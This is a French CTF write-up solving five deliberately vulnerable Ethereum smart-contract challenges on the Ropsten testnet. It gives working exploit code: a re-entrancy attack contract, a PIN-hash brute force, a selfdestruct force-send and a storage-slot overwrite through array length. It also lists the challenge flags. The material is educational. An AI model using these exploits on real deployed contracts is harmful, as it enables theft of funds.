santhacklaus ctf v2

Writeups


Golden Rush


Catégorie: Blockchain

Description:

GoldenRush is a set of challenges based on the Ethereum Blockchain technology where you will have to exploit vulnerable Smart Contracts. Your goal is to steal the money that I sent on it !

https://goldenrush.santhacklaus.xyz

Auteur: Ch3n4p4N


Introduction

MetaMask

Pour réussir les challenges, il est nécessaire d’avoir l’extension MetaMask. Il faudra également créer un compte dans cette dernière.

MetaMask est un wallet de cryptomonaie Ethereum, on va utiliser ce dernier afin de réaliser des transactions. Chaque wallet possède un identifiant, cet identifiant est une suite hexadécimale.

# par exemple
0x7890720F3e2bA41d7447547Dd4004ed429E944a2

Cette adresse est par exemple nécessaire lorsque 2 personnes veulent réaliser une transaction.

Ropsten Test Network

Par défaut, MetaMask utilise la blockchain Ethereum (appelé mainnet), nous n’allons pas travailler sur cette dernière puisque pour réaliser des transactions, nous avons besoin d’Ethereum que nous devons acheter.

Il existe alors une autre blockchain appelée Ropsten Test Network (ou testnet), cette dernière est par exemple utilisée pendant des phases de développement afin de tester du code avant la mise en production dans la mainnet. Tous les ethers (unité de cette blockchain) que l’on peut avoir n’ont aucune valeur, c’est simplement une simulation pour réaliser des tests. Il faut donc switcher sur le réseau Ropsten Test Network sur MetaMask.

Remplir son wallet

Il faut maintenant remplir son wallet avec quelques ethers. Pour cela, on peut utiliser un faucet. Il faut alors appuyer sur request 1 ether from faucet, lors de la première visite, il faudra accepter de connecter son compte MetaMask au site du faucet. Récupérer 2 ou 3 Ether est suffisant pour réussir les challenges.

Liens utiles

Remarques

L’interface graphique de Remix IDE ayant changé récemment, le compiler et le runner ne sont plus disponibles par défaut. Il faudra alors installer le Solidity compiler ainsi que Deploy & run transactions, pour cela, il faut utiliser le Plugin manager pour les installer (logo d’une prise à gauche).

Communiquer avec un smart contract

Nous allons utiliser une console JavaScript pour communiquer avec les smart contracts. Avant cela, il faut autoriser le domaine sur lequel on veut travailler à utiliser notre compte MetaMask. Pour cela, allez dans l’extension MetaMask, cliquer sur le cercle en haut à droite, Paramètres (ou Settings), Connections puis Connect.

Lancez alors une console JavaScript. Pour tester que votre compte MetaMask est accessible:

web3.eth.accounts[0];
--> "0x7890720f3e2ba41d7447547dd4004ed429e944a2"

var me = web3.eth.accounts[0];

Vous devriez alors obtenir l’adresse de votre wallet MetaMask. On va definir une variable me contenant notre adresse de wallet.

var abi = [{ "constant": false, ... }]; // ABI
var contractAddr = "0x57A10FC74a52afDE6674C3DE0761ed021d4534f7"; // adresse d'instance
var contract = web3.eth.contract(abi).at(contractAddr);

Sur la page du challenge, après avoir cliqué sur New Instanceet après quelques secondes, une adresse d’instance et un ABI sont fournis. La variable contractva nous permettre de communiquer avec notre smart contract.

Objectif

Le but des 5 challenges est de voler les ethers de chaque contrat deployé.

Level 1 - Donation

Points: 100


pragma solidity >=0.4.22 <0.6.0;

contract Donation {
  uint256 public funds;
  
  constructor() public payable {
    funds = funds + msg.value;
  }

  function() external payable {
    funds = funds + msg.value;
  }

  function getDonationsFromOwner(address _contractOwner) external {
    require(keccak256(abi.encodePacked(address(this)))==keccak256(abi.encodePacked(_contractOwner)));
    msg.sender.transfer(funds);
    funds = 0;
  }
}

Analyse

pragma solidity >=0.4.22 <0.6.0;

La version de Solidity à utiliser pour la compilation, ici, doit être supérieur ou égale à 0.4.22et inférieur à 0.6.0.

contract Donation {
  ...
}

Le squelette d’un smart contract appelé Donation.

uint256 public funds;

funds:

  • un unsigned int de 256 bits (32 octets)
  • public, donc accessible depuis l’extérieur
constructor() public payable {
  funds = funds + msg.value;
}

Constructeur de notre smart contract, appelé une et une seule fois lors du déploiement sur la blockchain. Ce dernier initialise funds à la quantité msg.value, cette dernière est la quantité d’ether de la transaction pour le déploiement.

function() external payable {
  funds = funds + msg.value;
}

C’est la fallback function, de ce smart contract. Une fallback function est une fonction qui n’a pas de nom, il y en a au maximum une dans un smart contract. Elle est appelée en cas d’erreur dans une transaction ou lorsque l’on envoie des ethers au contrat. Dans notre cas, elle se charge simplement d’ajouter les nouveaux fonds que l’on a envoyés dans la transaction.

function getDonationsFromOwner(address _contractOwner) external {
  require(keccak256(abi.encodePacked(address(this))) == keccak256(abi.encodePacked(_contractOwner)));
  msg.sender.transfer(funds);
  funds = 0;
}

Fonction qui prend une adresse en paramètre, peut être appelée de l’extérieur (external).

Informations:

  • adresse(this): adresse de l’instance du smart contract
  • abi.encodePacked(): peu importante, utilisé pour de l’encodage
  • keccack256(): fonction de hachage (SHA3)
  • require(a == b): condition doit être vérifiée pour continuer l’exécution du code
  • msg.sender.transfer(funds): envoyer tous les fundsà l’expéditeur ( msg.sender)

msg.sender (address): sender of the message (current call)

Communiquer avec notre smart contract

var abi = [{ "constant": false, ... }]; // ABI
var contractAddr = "0x57A10FC74a52afDE6674C3DE0761ed021d4534f7"; // adresse d'instance
var contract = web3.eth.contract(abi).at(contractAddr);
contract.funds((err,res)=>{console.log(err,res);});
--> 100

Pour accéder à des champs publiques, on faut simplement appeler contract.champ(). Ci-dessus, on accède au champ funds, on peut voir que sa valeur est de 100.

PS1: Il faudra toujours ajouter en dernier paramètre, une fonction de callback : (err,res)=>{console.log(err,res);}.

PS2: La réponse est un object, il faut déplier ce dernier et regardé le contenu du tableau c.

// faire une transaction avec 0.0002 ether
web3.eth.sendTransaction({from:me, to:contractAddr, value:web3.toWei(0.0002)}, (err,res)=>{console.log(err,res);})

contract.funds((err,res)=>{console.log(err,res);});
--> 102

from: source (adresse de notre wallet)

to: destination (adresse du smart contract)

value: quantité d’ether, va correspondre à msg.value

On peut voir que le solde est passé de 100à 102.

Attack

Il est facile de comprendre que la fonction importante dans ce smart contract est getDonationsFromOwner().

function getDonationsFromOwner(address _contractOwner) external {
  require(keccak256(abi.encodePacked(address(this))) == keccak256(abi.encodePacked(_contractOwner)));
  msg.sender.transfer(funds);
  funds = 0;
}

C’est cette dernière qui réalise le transfert de tous les fonds à l’expéditeur d’une transaction (msg.sender). Pour faire cela, il faut que la condition du require() soit vraie.

require(keccak256(abi.encodePacked(address(this))) == keccak256(abi.encodePacked(_contractOwner)));

Il faut que le paramètre _contractOwner, soit égale à address(this). Le thiscorrespond au smart contract lui-même. Le address(this) correspond alors à l’adresse du smart contract. Nous connaissons déjà cette adresse puisqu’elle est donnée dans le challenge.

Autre moyen de la retrouver:

contract.address
--> "0x57A10FC74a52afDE6674C3DE0761ed021d4534f7"
// avant
contract.funds((err,res)=>{console.log(err,res);});
--> 102

// payload
contract.getDonationsFromOwner("0x57A10FC74a52afDE6674C3DE0761ed021d4534f7",(err,res)=>{console.log(err,res);});

// après
contract.funds((err,res)=>{console.log(err,res);});
--> 0

Il faut patienter quelques secondes avant que la transaction soit validée (attendre la notification de MetaMask).

Le smart contract a été dépouillé. On peut alors récupérer notre flag en appuyant sur Check.

SANTA{!!S0Lidi7y_BaSiCs!!}

Level 2 - PiggyBank

Points: 200


pragma solidity ^0.4.21;

contract PiggyBank {
    bool public isOwner = false;
    uint256 public funds;
    bytes32 private pinHash = 0x7d8db9357f1302f94064334778507bb7885244035ce76b16dc05318ba7bf624c;
    
    constructor() public payable {
        funds = funds + msg.value;
    }
    
    function() external payable {
        funds = funds + msg.value;
    }
    
    function unlockPiggyBank(uint256 pin) external {
        if((keccak256(abi.encodePacked(uint8(pin))) == pinHash)){
        isOwner = true;
        }    
    }

    function withdrawPiggyBank() external {
        require(isOwner == true);
        msg.sender.transfer(funds);
        isOwner = false;
        funds = 0;
    }
}

Analyse

contract PiggyBank {
	...
}

On travail maintenant sur le smart contract PiggyBank.

bool public isOwner = false;
uint256 public funds;
bytes32 private pinHash = 0x7d8db9357f1302f94064334778507bb7885244035ce76b16dc05318ba7bf624c;

Ce dernier possède 4 champs:

  • isOwner: boolean initialisé à false qui est publique
  • funds: unsigned int de 256 bits (32 octets) qui est public
  • pinHash: le hash d’un code pin ? qui est privé
constructor() public payable {
  funds = funds + msg.value;
}

Le constructeur qui va initialiser le variable funds à la quantité d’ether de la première transaction du propriétaire (msg.value).

function() external payable {
  funds = funds + msg.value;
}

La fallback function qui met à jour la valeur de funds en fonction de msg.value.

function unlockPiggyBank(uint256 pin) external {
  if((keccak256(abi.encodePacked(uint8(pin))) == pinHash)){
    isOwner = true;
  }    
}

Fonction unlockPiggyBank() qui prend en paramètre un uint256, appellable seulement depuis l’extérieur (external). Le champ pinHash doit être égale au haché de notre input pinpour rentrer dans le if. Si c’est le cas, isOwner passe à true.

Ressource

public: all can access

external: cannot be accessed internally, only externally

internal: only this contract and contracts deriving from it can access

private: can be accessed only from this contract

function withdrawPiggyBank() external {
  require(isOwner == true);
	msg.sender.transfer(funds);
  isOwner = false;
  funds = 0;
}

Fonction withdrawPiggyBank(), ne prend pas de paramètre, accessible seulement depuis l’extérieur. Cette fonction transfert les fundsà l’émetteur de la transaction (msg.sender.transfer(funds);). Pour pouvoir exécuter cette fonction, il faut respecter le require(isOwner == true).

Attack

function unlockPiggyBank(uint256 pin) external {
  if((keccak256(abi.encodePacked(uint8(pin))) == pinHash)){
    isOwner = true;
  }    
}

On comprend rapidement que la fonction à attaquer est unlockPiggyBank(). Il faut fournir la bonne valeur de pinqui donne le haché pinHash(ou 0x7d8db9357f1302f94064334778507bb7885244035ce76b16dc05318ba7bf624c).

keccak256(abi.encodePacked(uint8(pin))) == pinHash

En lisant la condition, on peut voir que notre pin de type uint256 est convertit en uint8 avant d’être haché. On passe alors d’une valeur de 256 bits à une valeur de 8 bits. Il n’y a alors que 2**8 = 256 possibilités.

On peut utiliser ce code python pour tester tous les hachés possibles sur 8 bits.

#!/usr/bin/env python3

from Crypto.Hash import keccak

for pin in range(256):
    h = keccak.new(digest_bits=256).update(bytes([pin])).hexdigest()
    if h == '7d8db9357f1302f94064334778507bb7885244035ce76b16dc05318ba7bf624c':
        print(f'[+] pin -> {pin}')
        break
# [+] pin -> 213

La valeur 213 donne bien le bon haché !!

var abi = [{ "constant": true, ... }]; // ABI
var contractAddr = "0x288F068cdae9008944a03a3e7061650046734dC8"; // adresse d'instance
var contract = web3.eth.contract(abi).at(contractAddr);

On créer notre “connexion” au smart contract.

contract.isOwner((err,res)=>{console.log(err,res);});
--> false

contract.funds((err,res)=>{console.log(err,res);});
--> 100

La valeur de isOwner est bien false, et les fonds disponibles sont de 100.

// avant
contract.isOwner((err,res)=>{console.log(err,res);});
--> false

// mettre isOwner à true
contract.unlockPiggyBank("213",(err,res)=>{console.log(err,res);});

// après
contract.isOwner((err,res)=>{console.log(err,res);});
--> true

On commence par mettre isOwner à true en utilisant unlockPiggyBank() avec 213 comme paramètre.

contract.funds((err,res)=>{console.log(err,res);});
--> 100

// dépouiller
contract.withdrawPiggyBank((err,res)=>{console.log(err,res);});

contract.funds((err,res)=>{console.log(err,res);});
--> 0

Et on appelle withdrawPiggyBank()pour récupérer les fonds. Le smart contract a été dépouillé. On peut alors récupérer notre flag en appuyant sur Check.

SANTA{N0_M0R3_B4D_R4ND0MN3SS_PL3AZ}

Level 3 - Gringotts

Points: 300


pragma solidity >=0.4.22 <0.6.0;

contract Gringotts {
  mapping (address => uint) public sorceryAllowance;
  uint public allowancePerYear;
  uint public startStudyDate;
  uint public numberOfWithdrawls;
  uint public availableAllowance;
  bool public alreadyWithdrawn;
    
    constructor() public payable {
        allowancePerYear = msg.value/10;     
        startStudyDate = now;
        availableAllowance = msg.value;
    }

    modifier isEligible() {
        require(now>=startStudyDate + numberOfWithdrawls * 365 days);
        alreadyWithdrawn = false;
        _;
    }

    function withdrawAllowance() external isEligible{
        require(alreadyWithdrawn == false);
        if(availableAllowance >= allowancePerYear){
         if (msg.sender.call.value(allowancePerYear)()){
            alreadyWithdrawn = true;
         }
        numberOfWithdrawls = numberOfWithdrawls + 1;
        sorceryAllowance[msg.sender]-= allowancePerYear;
        availableAllowance-=allowancePerYear;
        }
    }

  function donateToSorcery(address sorceryDestination) payable public{
    sorceryAllowance[sorceryDestination] += msg.value;
  }

  function queryCreditOfSorcery(address sorcerySource) view public returns(uint){
    return sorceryAllowance[sorcerySource];
  }
}

Analyse

contract Gringotts {
  ...
}

Notre smart contract s’appelle Gringoots.

mapping (address => uint) public sorceryAllowance;
uint public allowancePerYear;
uint public startStudyDate;
uint public numberOfWithdrawls;
uint public availableAllowance;
bool public alreadyWithdrawn;

Il possède plusieurs champs, dont un tableau associatif sorceryAllowance, qui fait correspondre à une address à un uint.

Exemple:

sorceryAllowance[0x123] = 0x21
sorceryAllowance[0x321] = 0x98
sorceryAllowance[0x213] = 0x23
constructor() public payable {
  allowancePerYear = msg.value/10;     
  startStudyDate = now;
  availableAllowance = msg.value;
}

Le constructeur qui initialise différentes variables lors de la création du smart contrat.

modifier isEligible() {
  require(now >= startStudyDate + numberOfWithdrawls * 365 days);
  alreadyWithdrawn = false;
  _;
}

now (uint): current block timestamp (alias for block.timestamp)

On retrouve également ce que l’on appelle un modifier. On défini ce code comme des contraintes ou des conditions à respecter lors de l’appel à une fonction.

require(now >= startStudyDate + numberOfWithdrawls * 365 days);
alreadyWithdrawn = false;
_;

Dans cet exemple, pour exécuter alreadyWithdrawn = false;, il faut d’abord que la condition du require() soit vérifiée.

function withdrawAllowance() external isEligible {
  require(alreadyWithdrawn == false);
  if(availableAllowance >= allowancePerYear){
    if (msg.sender.call.value(allowancePerYear)()){
      alreadyWithdrawn = true;
    }
    numberOfWithdrawls = numberOfWithdrawls + 1;
    sorceryAllowance[msg.sender]-= allowancePerYear;
    availableAllowance-=allowancePerYear;
  }
}

La fonction withdrawAllowance() utilise le modifier isEligible() précédent. Cette fonction permet de demander une allowancePerYear au smart contract. On ne peut appeler cette fonction, qu’une seule fois par an car c’est le modifieur qui choisis de mettre à jour alreadyWithdrawnà falseou non.

function donateToSorcery(address sorceryDestination) payable public{
  sorceryAllowance[sorceryDestination] += msg.value;
  }

function queryCreditOfSorcery(address sorcerySource) view public returns(uint){
  return sorceryAllowance[sorcerySource];
}

Ces 2 dernières fonctions permettent de faire un don à une adresse précise et de connaître le solde d’ether d’une adresse précise.

Pour commencer, nous allons utiliser le smart contract d’une manière normale.

var abi = [{ "constant": true, ... }]; // ABI
var contractAddr = "0x8B1A677d85cd44afd3878E9201e7eff27e397421"; // adresse d'instance
var contract = web3.eth.contract(abi).at(contractAddr);

On crée notre “connexion” au smart contract.

contract.allowancePerYear((err,res)=>{console.log(err,res);});
--> 10

contract.startStudyDate((err,res)=>{console.log(err,res);});
--> 1577111586 // Mon Dec 23 2019 15:33:06

contract.numberOfWithdrawls((err,res)=>{console.log(err,res);});
--> 0

contract.availableAllowance((err,res)=>{console.log(err,res);});
--> 100

contract.alreadyWithdrawn((err,res)=>{console.log(err,res);});
--> false

On récupère les valeurs de toutes les variables. On comprend alors qu’une quantité de 100est disponible, et que cette dernière est distribuée par morceaux de 10.

Essayons alors de récupérer une part:

// solde
contract.availableAllowance((err,res)=>{console.log(err,res);});
--> 100

// récupérons une part
contract.withdrawAllowance((err,res)=>{console.log(err,res);});

// solde
contract.availableAllowance((err,res)=>{console.log(err,res);});
--> 90

Le solde a bien diminué, il est passé de 100 à 90, on a retiré une part.

contract.numberOfWithdrawls((err,res)=>{console.log(err,res);});
--> 1

contract.alreadyWithdrawn((err,res)=>{console.log(err,res);});
--> true

Le nombre de retraits a été incrémenté, et alreadyWithdrawnest passé à true.

La seule manière de redemander une part est de remettre alreadyWithdrawn à false.

Pour cela, il faut respecter la condition suivante:

require(now >= startStudyDate + 1 * 365 days);

Il faut donc patienter un an…

Attack

La seule fonction que nous pouvons attaquer est withdrawAllowance(). Les fonctions donateToSorcery()et queryCreditOfSorcery()ne faisant pas grand chose d’intéressant.

function withdrawAllowance() external isEligible {
  require(alreadyWithdrawn == false);
  if(availableAllowance >= allowancePerYear){
    if (msg.sender.call.value(allowancePerYear)()){
      alreadyWithdrawn = true;
    }
    numberOfWithdrawls = numberOfWithdrawls + 1;
    sorceryAllowance[msg.sender]-= allowancePerYear;
    availableAllowance-=allowancePerYear;
  }
}

On ne peut pas attaquer le require(), la condition availableAllowance >= allowancePerYear, n’est pas un problème. On peut commencer à chercher sur msg.sender.call.value(allowancePerYear)().

En cherchant sur Google: msg.sender.call.value. On tombe sur la vulnérabilité Re-Entrancy.

Voici le code de l’attaque:

Il faut penser à recréer une nouvelle instance du challenge, car la précédente est bloquée, alreadyWithdrawn étant à true.

pragma solidity >=0.4.22 <0.6.0;

contract Gringotts {
  // tous le code du contrat
}

contract Attack {
    
  	address target = 0xb5718566197aB563FF468e03D6B9eb6F76627cF0; // adresse de la nouvelle instance du smart contract
    Gringotts public g;
    
    constructor() public {
        g = Gringotts(target);
    }
   
    function collect() payable public {
        g.donateToSorcery.value(msg.value)(this);
        g.withdrawAllowance();
    }
    
    function kill() public {
        selfdestruct(msg.sender);
    }

    function () payable public {
        if (address(g).balance >= msg.value) {
            g.withdrawAllowance();
        }
    }
}
  • le constructeur va initialiser notre smart contrat déjà existant qui se trouve à l’adresse target.

  • collect() va mettre en place l’attaque Re-Entrancy.

  • la fallback function sera exécutée tant qu’il y a encore des ethers a dérober.

  • kill()va detruire le smart contract Attacket envoyer les ethers au créateur de la transaction.

Introduction to Smart Contracts

The only possibility that code is removed from the blockchain is when a contract at that address performs the selfdestruct operation. The remaining Ether stored at that address is sent to a designated target and then the storage and code is removed from the state.

Pour mettre en place l’attaque, nous allons utiliser Remix, créer par exemple le fichier Attack.sol, y mettre tout le code précédent, le compiler. Déployer ensuite une instance de Attack.sol dans l’environnement Injected Web3. Patienter, et lancer la méthode collect() afin que notre instance de Attack.soldérobe tout les ethers, attendre la fin de la transaction. Puis kill() pour récupérer ce que l’on vient de dérober dans notre wallet.

contract.availableAllowance((err,res)=>{console.log(err,res);});
--> 0

Après l’attaque, tous les ethers sont récupérés depuis le smart contract. On demande alors le flag.

SANTA{R3eN7r4ncY_f0r_Th3_WiN}

Level 4 - WallStreet

Points: 400


contract WallStreet {
    uint256 stockExchangeAmount;
    address contractOwner = msg.sender;
    uint256 collectFundsDate = now + 14600 days;
    uint256 lostMoneyAmount;

    constructor() public payable {
        stockExchangeAmount = msg.value;
    }
    
    function receiveMoneyAmount() public {
        require(stockExchangeAmount - address(this).balance > 0);
        msg.sender.transfer(address(this).balance);
    }

    function withdrawMoney() public {
        require(msg.sender == contractOwner);
        if (now < collectFundsDate) {
            uint256 lostClientMoney = address(this).balance / 2;
            lostMoneyAmount = lostMoneyAmount + lostClientMoney;
            msg.sender.transfer(address(this).balance - lostClientMoney);
        } else {
            msg.sender.transfer(address(this).balance + 100 ether);
        }
    }
    
    function getStockExchangeAmount() public view returns (uint256 amount) {
        return stockExchangeAmount;
    }
    
    function dateOfCollection() public view returns (uint256 date) {
        return collectFundsDate;
    }
}

Analyse

function withdrawMoney() public {
  require(msg.sender == contractOwner);
  if (now < collectFundsDate) {
    uint256 lostClientMoney = address(this).balance / 2;
    lostMoneyAmount = lostMoneyAmount + lostClientMoney;
    msg.sender.transfer(address(this).balance - lostClientMoney);
  } else {
    msg.sender.transfer(address(this).balance + 100 ether);
  }
}

Pas besoin de comprendre ce que fait exactement cette fonction. On sait juste qu’elle envoi des ethers, mais seulement au propriétaire (contractOwner) du smart contract.

function getStockExchangeAmount() public view returns (uint256 amount) {
  return stockExchangeAmount;
}
    
function dateOfCollection() public view returns (uint256 date) {
  return collectFundsDate;
}

getStockExchangeAmount()et dateOfCollection()sont des accesseurs.

var abi = [{ "constant": true, ... }]; // ABI
var contractAddr = "0x93202aaa272f2eBd6DEC0e32864f943C4A7d3CF0"; // adresse d'instance
var contract = web3.eth.contract(abi).at(contractAddr);
contract.getStockExchangeAmount((err,res)=>{console.log(err,res);});
--> 100

contract.dateOfCollection((err,res)=>{console.log(err,res);});
--> 2838556020

Attack

Ici, l’attaque à mettre en place est selfdestruct(), qui va nous permettre de récupérer les ethers du smart contract.

pragma solidity ^0.4.24;

contract Attack {
    constructor() public payable {
        require(msg.value == 1.1 ether);
    }
    
    function kill() public {
        selfdestruct(address(0x6f7b35Bcf2f96F4EECF7121A8d4d6CE4E74497eC));
    }
}

On va passer en paramètre de selfdestruct(), l’adresse du smart contract.

contract.receiveMoneyAmount((err,res)=>{console.log(err,res);});

On peut alors récupérer les fonds en appelant le fonction receiveMoneyAmount().

On demande alors la flag.

SANTA{¡¡0v3rFl0ws_4r3_Ins4N3!!}

Level 5 - TheVault

Points: 500


pragma solidity >=0.4.17 <0.6.0;

contract TheVault {
    uint256 public moneyAmount;
    uint256[] savingAccounts;
    
    constructor() public payable{
        moneyAmount = 0;
    }
    
    function putMoneyOnAccount(uint256 accountNumber, uint256 moneyQuantity) public {
        if (savingAccounts.length <= accountNumber) {
            savingAccounts.length = accountNumber + 1;
        }
        savingAccounts[accountNumber] = moneyQuantity;
    }
    
    function withdrawMoneyFromAccount(uint256 accountNumber) public {
        require(moneyAmount >= 2000000 && savingAccounts[accountNumber] >= 1);
        msg.sender.transfer(address(this).balance);
    }

    function getMoneyFromAccount(uint256 accountNumber) public view returns (uint256) {
        return savingAccounts[accountNumber];
    }
}

Notre objectif dans ce code est d’exécuter la fonction withdrawMoneyFromAccount(). Le problème est que le require() qui se trouve à l’intérieur nous oblige à avoir moneyAmount >= 2000000, alors que moneyAmount n’est jamais modifié, il vaut par défaut 0.

Comment fonctionne l’allocation de la mémoire dans les smart constracts ?

Le tableau savingAccountsstock sa taille dans le slot 1.

$ myth read-storage --rpc infura-ropsten 1 0xde89B12A8c06e608D99d4C4d2a98708F984Ed0a5
1: 0x0000000000000000000000000000000000000000000000000000000000000000

Mythril

Usage: $ myth read-storage --rpc infura-ropsten slot_number contract_addr

Pour le moment, le table est vide. Essayons d’ajouter un élément avec la fonction putMoneyOnAccount().

var abi = [ { "constant": true, ... } ]; // ABI
var contractAddr = "0xde89B12A8c06e608D99d4C4d2a98708F984Ed0a5"; // adresse d'instance
var contract = web3.eth.contract(abi).at(contractAddr);
// compte vide
contract.getMoneyFromAccount("0x123", (err,res)=>{console.log(err,res);});
--> 0

// on ajoute une quantité de 0x16 à savingAccounts[0x123]
contract.putMoneyOnAccount("0x123", "0x16", (err,res)=>{console.log(err,res);});

// on retrouve ce que l'on a ajouté
contract.getMoneyFromAccount("0x123", (err,res)=>{console.log(err,res);});
--> 22

La taille en slot 1 a-t-elle changé ?

$ myth read-storage --rpc infura-ropsten 1 0xde89B12A8c06e608D99d4C4d2a98708F984Ed0a5
1: 0x0000000000000000000000000000000000000000000000000000000000000124
if (savingAccounts.length <= accountNumber) {
  savingAccounts.length = accountNumber + 1;
}

Ce code a donc bien été exécutée, la taille vaut bien 0x124.

D’après les ressources précédentes, on peut retrouver le numéro de slot ou est stocké notre 0x16.

keccak256(abi.encodePacked(uint256(1))) + 0x123
  • keccak256(abi.encodePacked(uint256(1))): adresse du premier élément du tableau (savingAccounts[0])
  • 0x123: décalage par rapport à la première case du tableau

On trouve alors 80084422859880547211683076133703299733277748156566366325829078699459944779289.

$ myth read-storage --rpc infura-ropsten 80084422859880547211683076133703299733277748156566366325829078699459944779289 0xde89B12A8c06e608D99d4C4d2a98708F984Ed0a5

80084422859880547211683076133703299733277748156566366325829078699459944779289: 0x0000000000000000000000000000000000000000000000000000000000000016

On retrouve bien le 0x16 que nous avons envoyé tout à l’heure.

Attack

Notre but va être de localiser la position du slot 0, étant donné que c’est ce dernier qui contient la valeur de moneyAmount, qui je le rappelle vaut 0 pour le moment. Pour cela, nous allons faire un array overflow.

moneyAmount >= 2000000 

Le but de cette modification est de bypass le require de la fonction withdrawMoneyFromAccount().

D’après les ressources, on peut avoir accès en écriture au slot 0 à savingAccounts[2**256 - keccak256(abi.encodePacked(uint256(1)))].

On trouve alors 4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a.

Essayons alors d’écrire 0x456 à cet index.

# valeur de moneyAmount
$ myth read-storage --rpc infura-ropsten 0 0xde89B12A8c06e608D99d4C4d2a98708F984Ed0a5
0: 0x0000000000000000000000000000000000000000000000000000000000000000
contract.putMoneyOnAccount("0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a", "0x456", (err,res)=>{console.log(err,res);});
# valeur de moneyAmount
$ myth read-storage --rpc infura-ropsten 0 0xde89B12A8c06e608D99d4C4d2a98708F984Ed0a5
0: 0x0000000000000000000000000000000000000000000000000000000000000456
contract.moneyAmount((err,res)=>{console.log(err,res);});
--> 1110

On peut aussi faire l’appel directement dans la console Javascript étant donné que moneyAmountest un champ public.

La valeur de moneyAmountest bien passée de 0 à 0x456. Modifions encore cette valeur pour passer le require.

contract.putMoneyOnAccount("0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a", "0xffffffff", (err,res)=>{console.log(err,res);});
$ myth read-storage --rpc infura-ropsten 0 0xde89B12A8c06e608D99d4C4d2a98708F984Ed0a5
0: 0x00000000000000000000000000000000000000000000000000000000ffffffff

Enfin pour respecter la seconde condition du require, nous devons appeler le fonction withdrawMoneyFromAccount avec en paramètre un numéro de compte qui respecte cette condition: savingAccounts[accountNumber] >= 1, on peut réutiliser l’adresse du slot 0, cela a peu d’importance.

contract.withdrawMoneyFromAccount("0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a", (err,res)=>{console.log(err,res);});

On peut alors récupérer le flag.

SANTA{Y0u_Fin4lLy_DiD_i7!!!}

Remarques

Il est aussi possible d’utiliser directement l’IDE Remix pour résoudre les challenges, ce dernier étant plus user-friendly. J’ai préféré débuter directement dans la console, pour mieux comprendre les mécanismes.